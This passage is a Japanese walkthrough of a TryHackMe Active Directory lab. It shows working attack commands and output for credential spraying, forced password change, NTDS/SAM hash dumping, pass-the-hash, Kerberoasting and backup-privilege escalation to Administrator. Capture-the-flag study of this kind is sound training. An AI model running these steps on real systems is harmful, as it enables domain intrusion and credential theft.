[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                          
                                                                                                                             
[+] IP: [target_ip]       Name: raz0rblack.thm            Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share 
        SYSVOL                                                  READ ONLY       Logon server share 
        trash                                                   NO ACCESS       Files Pending for deletion
[*] Closed 1 connections

共有フォルダの内容を知ることができました。ここで、同時にこの資格情報は正しい情報だということも確認できます。しかし、どれもアクセス権限がなさそうです。

また、LDAPについても調べました。

$ nxc ldap [target_ip] -u 'twilliams' -p '[cracked_password]' --users
LDAP        [target_ip]   389    HAVEN-DC         [*] Windows 10 / Server 2019 Build 17763 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:None) (channel binding:No TLS cert)
LDAP        [target_ip]   389    HAVEN-DC         [+] raz0rblack.thm\twilliams:roastpotatoes 
LDAP        [target_ip]   389    HAVEN-DC         [*] Enumerated 7 domain users: raz0rblack.thm
LDAP        [target_ip]   389    HAVEN-DC         -Username-                    -Last PW Set-       -BadPW-  -Description- 
LDAP        [target_ip]   389    HAVEN-DC         Administrator                 2021-02-23 23:20:14 0        Built-in account for administering the computer/domain                                                                                     
LDAP        [target_ip]   389    HAVEN-DC         Guest                         <never>             0        Built-in account for guest access to the computer/domain                                                                                   
LDAP        [target_ip]   389    HAVEN-DC         krbtgt                        2021-02-24 00:02:19 0        Key Distribution Center Service Account                                                                                                    
LDAP        [target_ip]   389    HAVEN-DC         xyan1d3                       2021-02-24 00:17:17 0                      
LDAP        [target_ip]   389    HAVEN-DC         lvetrova                      2021-02-24 00:19:35 0                      
LDAP        [target_ip]   389    HAVEN-DC         sbradley                      <never>             0                      
LDAP        [target_ip]   389    HAVEN-DC         twilliams                     2021-02-24 00:20:52 0                      

このことから、上記のユーザーが実際にUsernameとして登録されていることが確認できます。
しかし、これだとしても、どこにもアクセスしようがありません。

そこで、Flagを取得する際のフラグ名がsbradleyだったことを思い出してください。もしかしたら、それがヒントなのかもしれません。そこでパスワードは変えずに、ユーザ名だけ、sbradleyに変更してみて、検証してみることにします。
 

ユーザー名を変更し、Sambaを調べてみると、興味深い出力がありました。

$ nxc smb [target_ip] -u 'sbradley' -p '[cracked_password]'   
SMB         [target_ip]   445    HAVEN-DC         [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         [target_ip]   445    HAVEN-DC         [-] raz0rblack.thm\sbradley:[cracked_password] STATUS_PASSWORD_MUST_CHANGE

よくみると、STATUS_PASSWORD_MUST_CHANGEになっています。
これは古いパスワードの有効期限が切れたため、このように変更をお願いされているログであることがわかります。

SMB         [target_ip]   445    HAVEN-DC         [-] raz0rblack.thm\sbradley:[cracked_password] STATUS_PASSWORD_MUST_CHANGE

そのため、impacket-changepasswdを用いて、新規パスワード登録を試みることができます。

$ impacket-changepasswd raz0rblack.thm/sbradley:'roastpotatoes'@[target_ip] -newpass 'Raz0rBlack!2024'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Changing the password of raz0rblack.thm\sbradley
[*] Connecting to DCE/RPC as raz0rblack.thm\sbradley
[!] Password is expired or must be changed, trying to bind with a null session.
[*] Connecting to DCE/RPC as null session
[*] Password was changed successfully.

ここで、パスワードを再登録するための条件があるため、Raz0rBlack!2024のようなパスワードで変更を行います。すると、パスワード変更に成功します。

設定したパスワードを用いて、Samabaの調査を再実行します。

$ nxc smb [target_ip] -u 'sbradley' -p 'Raz0rBlack!2024' --shares
SMB         [target_ip]    445    HAVEN-DC         [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         [target_ip]    445    HAVEN-DC         [+] raz0rblack.thm\sbradley:Raz0rBlack!2024 
SMB         [target_ip]    445    HAVEN-DC         [*] Enumerated shares
SMB         [target_ip]    445    HAVEN-DC         Share           Permissions     Remark
SMB         [target_ip]    445    HAVEN-DC         -----           -----------     ------
SMB         [target_ip]    445    HAVEN-DC         ADMIN$                          Remote Admin
SMB         [target_ip]    445    HAVEN-DC         C$                              Default share
SMB         [target_ip]    445    HAVEN-DC         IPC$            READ            Remote IPC
SMB         [target_ip]    445    HAVEN-DC         NETLOGON        READ            Logon server share 
SMB         [target_ip]    445    HAVEN-DC         SYSVOL          READ            Logon server share 
SMB         [target_ip]    445    HAVEN-DC         trash           READ            Files Pending for deletion

すると、Samaba経由で共有されているフォルダが出力され、実際にパスワード変更されたことができました。

 
実際にsmbclinentを用いて、Samabaと疎通したところ以下のようなファイルが入っていました。

$ smbclient //[target_ip]/trash -U sbradley 
Password for [WORKGROUP\sbradley]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Tue Mar 16 15:01:28 2021
  ..                                  D        0  Tue Mar 16 15:01:28 2021
  chat_log_20210222143423.txt         A     1340  Fri Feb 26 04:29:05 2021
  experiment_gone_wrong.zip           A 18927164  Tue Mar 16 15:02:20 2021
  sbradley.txt                        A       37  Sun Feb 28 04:24:21 2021

                5101823 blocks of size 4096. 907681 blocks available
smb: \> 

これらをmgetgetコマンドでコピーして、sbradley.txtを見るとフラグが入っています。

What is Steven's Flag?

Answer: THM{XXXXXX}

また、experiment_gone_wrong.zipというzipファイルが含まれているため、fcrackを用いて、こちらもパスワードクラックを試みます。

$ fcrackzip -vDup /usr/share/wordlists/rockyou.txt ./experiment_gone_wrong.zip              
found file 'system.hive', (size cp/uc 2941739/16281600, flags 9, chk 591c)
found file 'ntds.dit', (size cp/uc 15985077/58720256, flags 9, chk 5873)
checking pw furn2538                                

PASSWORD FOUND!!!!: pw == [cracked_password2]

ここで、もう一つの問いについても答えることができます。

What is the zip file's password?

Answer: XXXXXXXXXXXXXXXXXXXXXX

そして、もう一つ大事なことがあります。それは、先ほどのexperiment_gone_wrong.zipsystem.hiventds.ditが入っていることです。

また、chat_log_20210222143423.txtを閲覧すると、この環境にはCVE-2020-1472という脆弱性があるらしく、「Zerologon」と呼ばれる認証されていない攻撃者がドメインコントローラに接続し、ドメイン管理者権限を取得することが可能になります。ただ、今回の場合、ドメインコントローラに接続せずとも、system.hiventds.ditがあるため、これのシークレットをダンプすることでNTLMハッシュを割り出せるかもしれません。

ただ、PoCを動かすのも面倒でしょう。そこでimpacketのツール群がまた使えてしまいます。

以下のコマンドを実行することで、NTLMハッシュをダンプすることができます。

$ impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x17a0a12951d502bb3c14cf1d495a71ad
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 84bf0a79cd645db4f94b24c35cfdf7c7
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1afedc472d0fdfe07cd075d36804efd0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HAVEN-DC$:1000:aad3b435b51404eeaad3b435b51404ee:4ea59b8f64c94ec66ddcfc4e6e5899f9:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:703a365974d7c3eeb80e11dd27fb0cb3:::
RAZ0RBLACK\j.smith:4549:aad3b435b51404eeaad3b435b51404ee:da3542420eff7cfab8305a68b7da7043:::
RAZ0RBLACK\j.johnson:4550:aad3b435b51404eeaad3b435b51404ee:c378739d7c136c1281d06183665

このことから、再利用するために少し加工を施します。

$ impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL > secretsdump.txt
                                       
$ cat secretsdump.txt | cut -d ":" -f 4 > nthashes.txt

ここで思い出してください。ljudmila vetrovaがAdmin権限を持っており、NTハッシュを総当たりすることでもしかしたら、有効な資格情報を取得できるかもしれません。

以下のコマンドを使用し、実際に有効な資格情報を調べてみましょう。

$ nxc smb [target_ip] -u 'lvetrova'  -H nthashes.txt 
SMB         [target_ip]   445    HAVEN-DC         [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         [target_ip]   445    HAVEN-DC         [-] Invalid NTLM hash length on line 1 (len 74): Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
SMB         [target_ip]   445    HAVEN-DC         [-] Invalid NTLM hash length on line 4 (len 7): nthash)
SMB         [target_ip]   445    HAVEN-DC         [-] Invalid NTLM hash length on line 5 (len 37): [*] Searching for pekList, be patient
SMB         [target_ip]   445    HAVEN-DC         [-] Invalid NTLM hash length on line 7 (len 47): [*] Reading and decrypting hashes from ntds.dit
SMB         [target_ip]   445    HAVEN-DC         [-] Invalid NTLM hash length on line 1874 (len 31): [*] Kerberos keys from ntds.dit
SMB         [target_ip]   445    HAVEN-DC         [-] Invalid NTLM hash length on line 6672 (len 18): [*] Cleaning up...
SMB         [target_ip]   445    HAVEN-DC         [-] raz0rblack.thm\lvetrova: STATUS_LOGON_FAILURE 
SMB         [target_ip]   445    HAVEN-DC         [-] raz0rblack.thm\lvetrova: STATUS_LOGON_FAILURE 
SMB         [target_ip]   445    HAVEN-DC         [-] raz0rblack.thm\lvetrova: STATUS_LOGON_FAILURE 
....
....
....
SMB         [target_ip]   445    HAVEN-DC         [-] raz0rblack.thm\lvetrova:081af9630677a387f6f0a9bb17852602 STATUS_LOGON_FAILURE
SMB         [target_ip]   445    HAVEN-DC         [-] raz0rblack.thm\lvetrova:c184a72ed800899bc1ff633778a89b5e STATUS_LOGON_FAILURE
SMB         [target_ip]   445    HAVEN-DC         [+] raz0rblack.thm\lvetrova:[cracked_nthash]

すると、lvetorava(ljudmila vetrova)のNTハッシュを特定することに成功しました。

What is Ljudmila's Hash?

Answer: [cracked_nthash]

したがって、実際にActive Directory環境に、evil-winrmでアクセスしてみましょう。

$ evil-winrm -u 'lvetrova' -H [cracked_nthash] -i 
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline                                                                                                                          
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\lvetrova\Documents> 

よって、Active Directoryサーバーにアクセスすることができました。

cdコマンドを使用し、一個戻るとlvetrova.xmlというXMLファイルがあります。
見てみましょう。

*Evil-WinRM* PS C:\Users\lvetrova> cat lvetrova.xml
 
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">Your Flag is here =&gt;</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009db56a0543f441469fc81aadb02945d20000000002000000000003660000c000000010000000069a026f82c590fa867556fe4495ca870000000004800000a0000000100000003b5bf64299ad06afde3fc9d6efe72d35500000002828ad79f53f3f38ceb3d8a8c41179a54dc94cab7b17ba52d0b9fc62dfd4a205f2bba2688e8e67e5cbc6d6584496d107b4307469b95eb3fdfd855abe27334a5fe32a8b35a3a0b6424081e14dc387902414000000e6e36273726b3c093bbbb4e976392a874772576d</SS>
    </Props>
  </Obj>
</Objs>

このように、DPAPI (Data Protection API) というWindowsの機能で暗号化されていそうなので、復元します。

*Evil-WinRM* PS C:\Users\lvetrova> $cred = Import-Clixml -Path .\lvetrova.xml # XMLファイルをインポートしてオブジェクトに戻す
*Evil-WinRM* PS C:\Users\lvetrova> $cred.GetNetworkCredential().Password # 暗号化されたパスワードをプレーンテキストに変換して表示
THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
*Evil-WinRM* PS C:\Users\lvetrova> 

解読することで、フラグを取得することができました。

What is Ljudmila's Flag?

Answer: THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}

Lateral Movement

先ほどのLjudmiliaの資格情報を用いて、何かしらのHashが抜けないか調べてみます。

$ impacket-GetUserSPNs raz0rblack.thm/lvetrova -hashes :[cracked_nthash] -dc-ip [target_ip] -request
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

ServicePrincipalName                   Name     MemberOf                                                    PasswordLastSet             LastLogon  Delegation 
-------------------------------------  -------  ----------------------------------------------------------  --------------------------  ---------  ----------
HAVEN-DC/xyan1d3.raz0rblack.thm:60111  xyan1d3  CN=Remote Management Users,CN=Builtin,DC=raz0rblack,DC=thm  2021-02-24 00:17:17.715160  <never>               


[-] CCache file is not found. Skipping...
$krb5tgs$23$*xyan1d3$RAZ0RBLACK.THM$raz0rblack.thm/xyan1d3*$03a5cfedc35d07db34e9c4f566d32767$030dc35d343a987f49a0e4716e48863157c70f3a3957a166c7d5f97913098f24026e46b74dc759ae46c3b0716b22bca7ec88523dbfede74e7d6d57b4f113947d12a0f00dd2e122379e59e1f6156f0937f21646f499584d730de235f523b9c162dfdfb009f331e57ce8c48ed96a90ecc278677336748d6a86bbb37ab860724e8165619e1c6bbc4d3e50070710c7594d17304ccb1ce4ae1783a9844218a9c2f324559734af59f7ba8d7e45fe8b59a9658dde7cd9feaadcacba1960b201d69896d796abd10bc29880ada6faea5b7aae45b3151e2547b73bcd385c21ac9de60f874b68e0392dfcbbb1312f3d32480cf2d291d33943930656576e9b6fd9481f568707f8fb90bb0f38c7496b823c0bf4fd76490e965cc565bfbbfcf8a3836d7d3db4a93429227b5ce5356bb41da8ccc7afac193d4994e2c476616f4c9cc595f85a6223d361761024e9ec133fc15f995b13f195a279c8ae9fe3ee2450974475faffb386263e6d71caeef4918c5265e5a10884409c00c0f89bfa2539fac8e2ad5a3226e988f548ae26c6de75b4d692845dcbdf5a457f497bd69581c43ef7041026fc1f4159a5f63aeeb82dced9b69ec890323b6d26735d645764a4cb6ed7f946a9d073e6f58283ae061bda35b93b942d1312eb8c8231c980edb25a0f2a91c307b9122ffe16706aa52cadc6d066bde1cff93024df9c02ecdb3309205c34a6bf87bb0f037836e53b24b5c617bfe12a28eb09a13346247575b3a2db01dd14510b0cab64cf477cc1806c0972f1e3ff619db2029bd104c9c4bd8c0d9cc3dbd551bb9d671999818ced900e66d8d7535a2dc14e205d3f2622291a91a6fc9b769290d0d89bbc659d0c6cda404fb51cfa2ffeb5599f2d445ba8153e9b7a2d32fe065b83567a78a805a0663510c35138013a286946d5b5597576c081ab224cfe0bafb09f27377bc3e61cc02d4c25c3461c93540695e96b0f87b9c8c3338f5f2a399dfe40e5512f087dd019ab33924075f90cf68b2466acdc068a1a37ab64622e56539cf96532d25a0a945d1f54c909bb487a5a2994d5b394b3492a041b759d0a4234afc9b89725d1828b80046786eb28f5ca0e7880399506fe991a4f19266bb0cbac940c7a88c947dc4a2f5494d0a8b23747f4ea1e0531df13245bf25e41634f736d4f7ef82dbd397744479020747482a599c7f3393f504f2e706d349e39a7eda638485e8030f463d30e3eba988a7ebaec5f1f624966cb89928850814c1558c93b59d0fcc158b57105795f8d7a0b509867e33872deb6d0c24f63cc913e377dbfd696c7a0e5d12bfcf1537f2da516e9edc602ef040da190e0bb4ed896390545ac15db0ef78612af7fa2c4498dba7c0c19de4833018ab0a84c5e2b9f53c7831aac9ca47aa4203cfcc3e3cf3a4f9b18f4d570b5f673c3e84960

すると、なんとxyan1d3というユーザーのTGSチケットを抜くことに成功してしまいました。

実際に解読してみましょう。

$ hashcat -m 13100 xyan1d3.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-skylake-avx512-AMD Ryzen 5 PRO 8640HS w/ Radeon 760M Graphics, 4779/9558 MB (2048 MB allocatable), 12MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 515 MB (7461 MB free)

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$krb5tgs$23$*xyan1d3$RAZ0RBLACK.THM$raz0rblack.thm/xyan1d3*$03a5cfedc35d07db34e9c4f566d32767$030dc35d343a987f49a0e4716e48863157c70f3a3957a166c7d5f97913098f24026e46b74dc759ae46c3b0716b22bca7ec88523dbfede74e7d6d57b4f113947d12a0f00dd2e122379e59e1f6156f0937f21646f499584d730de235f523b9c162dfdfb009f331e57ce8c48ed96a90ecc278677336748d6a86bbb37ab860724e8165619e1c6bbc4d3e50070710c7594d17304ccb1ce4ae1783a9844218a9c2f324559734af59f7ba8d7e45fe8b59a9658dde7cd9feaadcacba1960b201d69896d796abd10bc29880ada6faea5b7aae45b3151e2547b73bcd385c21ac9de60f874b68e0392dfcbbb1312f3d32480cf2d291d33943930656576e9b6fd9481f568707f8fb90bb0f38c7496b823c0bf4fd76490e965cc565bfbbfcf8a3836d7d3db4a93429227b5ce5356bb41da8ccc7afac193d4994e2c476616f4c9cc595f85a6223d361761024e9ec133fc15f995b13f195a279c8ae9fe3ee2450974475faffb386263e6d71caeef4918c5265e5a10884409c00c0f89bfa2539fac8e2ad5a3226e988f548ae26c6de75b4d692845dcbdf5a457f497bd69581c43ef7041026fc1f4159a5f63aeeb82dced9b69ec890323b6d26735d645764a4cb6ed7f946a9d073e6f58283ae061bda35b93b942d1312eb8c8231c980edb25a0f2a91c307b9122ffe16706aa52cadc6d066bde1cff93024df9c02ecdb3309205c34a6bf87bb0f037836e53b24b5c617bfe12a28eb09a13346247575b3a2db01dd14510b0cab64cf477cc1806c0972f1e3ff619db2029bd104c9c4bd8c0d9cc3dbd551bb9d671999818ced900e66d8d7535a2dc14e205d3f2622291a91a6fc9b769290d0d89bbc659d0c6cda404fb51cfa2ffeb5599f2d445ba8153e9b7a2d32fe065b83567a78a805a0663510c35138013a286946d5b5597576c081ab224cfe0bafb09f27377bc3e61cc02d4c25c3461c93540695e96b0f87b9c8c3338f5f2a399dfe40e5512f087dd019ab33924075f90cf68b2466acdc068a1a37ab64622e56539cf96532d25a0a945d1f54c909bb487a5a2994d5b394b3492a041b759d0a4234afc9b89725d1828b80046786eb28f5ca0e7880399506fe991a4f19266bb0cbac940c7a88c947dc4a2f5494d0a8b23747f4ea1e0531df13245bf25e41634f736d4f7ef82dbd397744479020747482a599c7f3393f504f2e706d349e39a7eda638485e8030f463d30e3eba988a7ebaec5f1f624966cb89928850814c1558c93b59d0fcc158b57105795f8d7a0b509867e33872deb6d0c24f63cc913e377dbfd696c7a0e5d12bfcf1537f2da516e9edc602ef040da190e0bb4ed896390545ac15db0ef78612af7fa2c4498dba7c0c19de4833018ab0a84c5e2b9f53c7831aac9ca47aa4203cfcc3e3cf3a4f9b18f4d570b5f673c3e84960:[cracked_password3]
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*xyan1d3$RAZ0RBLACK.THM$raz0rblack.thm/...e84960
Time.Started.....: Thu Apr 16 01:32:16 2026 (2 secs)
Time.Estimated...: Thu Apr 16 01:32:18 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  6177.4 kH/s (1.31ms) @ Accel:1024 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 8871936/14344385 (61.85%)
Rejected.........: 0/8871936 (0.00%)
Restore.Point....: 8859648/14344385 (61.76%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: d.a.n.15 -> cv152007s
Hardware.Mon.#01.: Temp: 73c Util: 66%

Started: Thu Apr 16 01:32:06 2026
Stopped: Thu Apr 16 01:32:19 2026
                                                       

よって、xyan1d3のパスワードも解読することができました。

What is Xyan1d3's password?

Answer: [cracked_password3]

特定した資格情報を用いて、実際にActive Direcotoryにアクセス可能かを確かめてみましょう。

$ evil-winrm -u 'xyan1d3' -p '[cracked_password3]' -i [target_ip]
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline                                                                                                                                                                                                                                          
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\xyan1d3\Documents>

よって、Active Directoryサーバーにアクセスし、横展開に成功しました。

また、同じようにxyan1d3.xmlというXMLファイルがあるので、同様に見てみましょう。

*Evil-WinRM* PS C:\Users\xyan1d3> dir


    Directory: C:\Users\xyan1d3


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        9/15/2018  12:19 AM                Desktop
d-r---        2/25/2021   9:34 AM                Documents
d-r---        9/15/2018  12:19 AM                Downloads
d-r---        9/15/2018  12:19 AM                Favorites
d-r---        9/15/2018  12:19 AM                Links
d-r---        9/15/2018  12:19 AM                Music
d-r---        9/15/2018  12:19 AM                Pictures
d-----        9/15/2018  12:19 AM                Saved Games
d-r---        9/15/2018  12:19 AM                Videos
-a----        2/25/2021   9:33 AM           1826 xyan1d3.xml


*Evil-WinRM* PS C:\Users\xyan1d3> cat xyan1d3.xml
 
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">Nope your flag is not here</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000006bc3424112257a48aa7937963e14ed790000000002000000000003660000c000000010000000f098beb903e1a489eed98b779f3c70b80000000004800000a000000010000000e59705c44a560ce4c53e837d111bb39970000000feda9c94c6cd1687ffded5f438c59b080362e7e2fe0d9be8d2ab96ec7895303d167d5b38ce255ac6c01d7ac510ef662e48c53d3c89645053599c00d9e8a15598e8109d23a91a8663f886de1ba405806944f3f7e7df84091af0c73a4effac97ad05a3d6822cdeb06d4f415ba19587574f1400000051021e80fd5264d9730df52d2567cd7285726da2</SS>
    </Props>
  </Obj>
</Objs>

また、謎の文字列が並んでいることがわかります。これもさっきのと同様に解読してみます。

*Evil-WinRM* PS C:\Users\xyan1d3> $cred = Import-Clixml -Path .\xyan1d3.xml
*Evil-WinRM* PS C:\Users\xyan1d3> $cred.GetNetworkCredential().Password
LOL here it is -> THM{XXXXXXXXXXXXXXXXXXXXXXXXXX}

すると、解読に成功しました。

What is Xyan1d3's Flag?

Answer: THM{XXXXXXXXXXXXXXXXXXXXXXXXXX}

Privilege Escalation

ここで、思い出してください。
xyan1d3.xmlのTGSでアクセスできたということはドメインコントローラに直接要求しているため、サーバー内にアクセスできるということはドメインコントローラを色々調べられそうです。

試しに、このユーザーがどんな権限なのか、どのグループに所属しているのかを見てみましょう。

*Evil-WinRM* PS C:\Users> whoami /all

USER INFORMATION
----------------

User Name          SID
================== ============================================
raz0rblack\xyan1d3 S-1-5-21-3403444377-2687699443-13012745-1106


GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators                   Alias            S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

よって、このユーザーは、SeBackupPrivilegeSeRestorePrivilegeが有効になっており、BUILTIN\Backup Operatorsに所属していることも判明します。

これは、バックアップデータから、ドメインコントローラのSAMとそれを復元するための鍵(SYSTEM)をダンプすることができそうです。

実際にダウンロードを行います。

*Evil-WinRM* PS C:\Users> reg save hklm\sam sam.bak # SAM(ユーザーハッシュの保管場所)を保存

*Evil-WinRM* PS C:\Users> reg save hklm\system system.bak # SYSTEM(SAMを復号するための鍵)を保存

*Evil-WinRM* PS C:\Users> download sam.bak
*Evil-WinRM* PS C:\Users> download system.bak

そして、impacket-secretdumpでダウプを試みます。

$ impacket-secretsdump -sam sam.bak -system system.bak LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0xf1582a79dd00631b701d3d15e75e59f6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:[cracked_nthash2]:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up... 

すると、AdministratorのNTLMハッシュを復元することに成功しました。

実際にこの資格情報を用いて、アクセスをしてみましょう

$ evil-winrm -i [target_ip] -u Administrator -H [cracked_nthash2]                            
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline                                                                                                                            
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> 

よって、Administratorの資格情報でActive Directoryにアクセスすることができました。

また、同じようにroot.xmlというXMLファイルがあるので、同様に見てみましょう。

*Evil-WinRM* PS C:\Users\Administrator> cat root.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">Administrator</S>
      <SS N="Password">44616d6e20796f752061726520612067656e6975732e0a4275742c20492061706f6c6f67697a6520666f72206368656174696e6720796f75206c696b6520746869732e0a0a4865726520697320796f757220526f6f7420466c61670a54484d7b31623466343663633466626134363334383237336431386463393164613230647d0a0a546167206d65206f6e2068747470733a2f2f747769747465722e636f6d2f5879616e3164332061626f75742077686174207061727420796f7520656e6a6f796564206f6e207468697320626f7820616e642077686174207061727420796f75207374727567676c656420776974682e0a0a496620796f7520656e6a6f796564207468697320626f7820796f75206d617920616c736f2074616b652061206c6f6f6b20617420746865206c696e75786167656e637920726f6f6d20696e207472796861636b6d652e0a576869636820636f6e7461696e7320736f6d65206c696e75782066756e64616d656e74616c7320616e642070726976696c65676520657363616c6174696f6e2068747470733a2f2f7472796861636b6d652e636f6d2f726f6f6d2f6c696e75786167656e63792e0a</SS>
  </Obj>
</Objs>

最後は、DPAPIの暗号化ですらなく、「16進数(Hex)での難読化」という、ステガノグラフィを得意とするこのルームらしい小粋な仕掛けでした。

解読を試みます。

